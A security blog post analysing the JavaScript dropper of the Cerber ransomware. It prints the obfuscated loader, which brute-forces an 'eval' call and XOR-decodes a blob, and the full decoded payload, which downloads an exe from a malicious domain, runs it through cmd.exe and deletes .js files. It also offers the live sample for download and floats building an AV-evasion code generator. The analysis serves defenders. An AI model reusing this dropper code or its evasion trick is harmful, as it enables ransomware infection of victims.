Back to Posts

Share this post

Cerber Dropper Ransomware Analysis

Posted by: voidsec

Reading Time: 6 minutes

Before the month ends (I’m sorry but my time was really sucked up by planning and developing the HackInBo’s CTF, that I hope you will enjoy) I would like to post this very small and brief analysis of the latest JavaScript dropper used by the Cerber Ransomware in its campaign.

I would also like to thank the Hacktive Security’s guys for the following sample:

Dropper:

  • MD5 afd5aa687ed3931d39f180f8e15500e1
  • SHA1 11460389a303e58086a2b7dbdab02437fb001434
  • SHA256 8b00174be5f9dd6a703bc5327e1be4161cd3922ca9a338889717370b53d4ca71

Cerber Ransomware:

  • MD5 2dd3bd1801989ff6625aa041761cbed3
  • SHA1 08f28d5a7d32528fdb2b386334669d6b2b4226cb
  • SHA256 a27c202bffde364fc385e41a244649e8e7baaec97c44c45cd02bb59642e1fb0e

This time I will not take in exam the binary, but instead of that, I will analyze the dropper.

Why do I think that the dropper is interesting? Well, let’s see it together.

You will find the file attached in a zip file at the end of the article (password: infected).

Nowadays, it’s pretty common for ransomware to use JavaScript files as a dropper:

  • They have an extension that doesn’t means anything to most of the common PC users, it is not like the well-known exe or vbs extension that users have learnt to dodge and do not open.
  • They are allowed inside mail attachments, most of the email provider allow them and, as far as I know, there is no email client that complain about the .js file extension.
  • The extension on a default windows installation look like a sort of document.
  • A JavaScript dropper can be easily changed and made FUD again (Fully Undetectable, it can evade antivirus solution’s signature detection and behavioral system).

Beside of these qualities this dropper has an interesting functionality.

These is how it appears if we look at the source code:

Once cleaned a bit, I renamed the functions name and variables, it will look better:

function hex2int(p1){
	return parseInt(p1,16);
}

function randomchar(){
	var evalmyass=new Array("p","l","e","v","a","^");
	return evalmyass[Math.floor(Math.random()*evalmyass.length)];
}

function getblob(){
	var i = 1;
	var blob="_E6fs52uMkUH41zfCkg5aSji:957xE9Ta40yuzKS5d-Ha405bPw75L5aVkrGL14UzuZl53xt3bZ51zR7Jl40ZGt0L70xH1xX55Xfo4940+[BIG DATA BLOB GOES HERE]+";
	return blob;
}
function f4(blob){
	var f5;
	while(true){
		try	{
			f5=(new Function("yzzkrxynlc","var jwbkdnlezy=yzzkrxynlc.match(/\\S{7}/g),wlqncupoae=\"\",ojveimvdnh=0;while(ojveimvdnh<jwbkdnlezy.length){wlqncupoae+=String['fromCharCode'](hex2int(jwbkdnlezy[ojveimvdnh].substr(5,2))"+randomchar()+"52);ojveimvdnh++;}"+randomchar()+randomchar()+randomchar()+randomchar()+"(wlqncupoae);")(blob));
			break;
		}
		catch(er){
		}
	}
	return f5;
}
f4(getblob());

Did you notice something?

Look at the “evalmyass” variable, it’s an array that contains the following characters: “pleava^

By themselves these characters doesn’t means anything and doesn’t have any sense but if you have a good eye you can spot the word: eval.

Eval is a JavaScript function that evaluates or executes an argument.

Look at this following example:

var x = 10;
var y = 20;
var a = eval("x * y") + "<br>";

ptint a;

200

Well, how these letter gets the right order? It is simple, the f4 function will perform a brute-force style attack against the array (it’s inside a try and catch exception, so it will throw away all the broken and wrong decoded blob data).

Once the characters are in the right place, we will have the BLOB data being executed.

Let me clear the code and I will show you how:

As you can see from the above image, a bitwise operation is involved. In this case all the BLOB data will be XORED against the value 52 (the xor character, is again, being randomly taken from the “evalmyass” variable).

In our case the value 00110100 (52) is the key of our algorithm.

Once decode you can see the meaning of the encoded BLOB data:

function getDataFromUrl(url, callback) {
    try {
        var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlHttp.open("GET", url, false);
        xmlHttp.send();
        if (xmlHttp.status == 200) {
            return callback(xmlHttp.ResponseBody, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}

function getData(callback) {
    try {
        getDataFromUrl("http://boratworetyu[.]top/search.php", function(result, error) {
            if (!error) {
                return callback(result, false);
            } else {
                getDataFromUrl("http://boratworetyu[.]top/search.php", function(result, error) {
                    if (!error) {
                        return callback(result, false);
                    } else {
                        getDataFromUrl("http://boratworetyu[.]top/search.php", function(result, error) {
                            if (!error) {
                                return callback(result, false);
                            } else {
                                return callback(null, true);
                            }
                        });
                    }
                });
            }
        });
    } catch (error) {
        return callback(null, true);
    }
}

function getTempFilePath() {
    try {
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
        var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
        return tmpFilePath;
    } catch (error) {
        return false;
    }
}

function saveToTemp(data, callback) {
    try {
        var path = getTempFilePath();
        if (path) {
            var objStream = new ActiveXObject("ADODB.Stream");
            objStream.Open();
            objStream.Type = 1;
            objStream.Write(data);
            objStream.Position = 0;
            objStream.SaveToFile(path, 2);
            objStream.Close();
            return callback(path, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}
getData(function(data, error) {
    if (!error) {
        saveToTemp(data, function(path, error) {
            if (!error) {
                try {
                    var wsh = new ActiveXObject("WScript.Shell");
                    wsh.Run("cmd.exe /c start " + path + " & del *.js");
                } catch (error) {}
            }
        });
    }
});

An ActiveXObject is being created, it will download the ransomware exe file from the http[:]//boratworetyu[.]top/search.php domain (note that the dropper also provides a nice backup plan and allow up to 3 URLs to which download the ransomware file).

The stream will be saved in the windows temporary directory with a random generated name and executed through this command cmd.exe /c start " + path + " & del *.js

Also, all the JavaScript files in the temporary directory will be deleted and for your important family photos and files will be the end.

The interesting part is the brute-force attack against the array in order to try to evade the antivirus detection, it is a clever way to hide the malicious intent and it also remind me a bit of the Veil Framework  which is a good tool if you need to bypass antivirus during a penetration test.

Now, what about creating a tool that will generate this kind of obfuscated code and payload? Maybe using the JSFuck?

Download Cerber Ransomware Dropper (infected)

By VoidSec and kalup

Back to Posts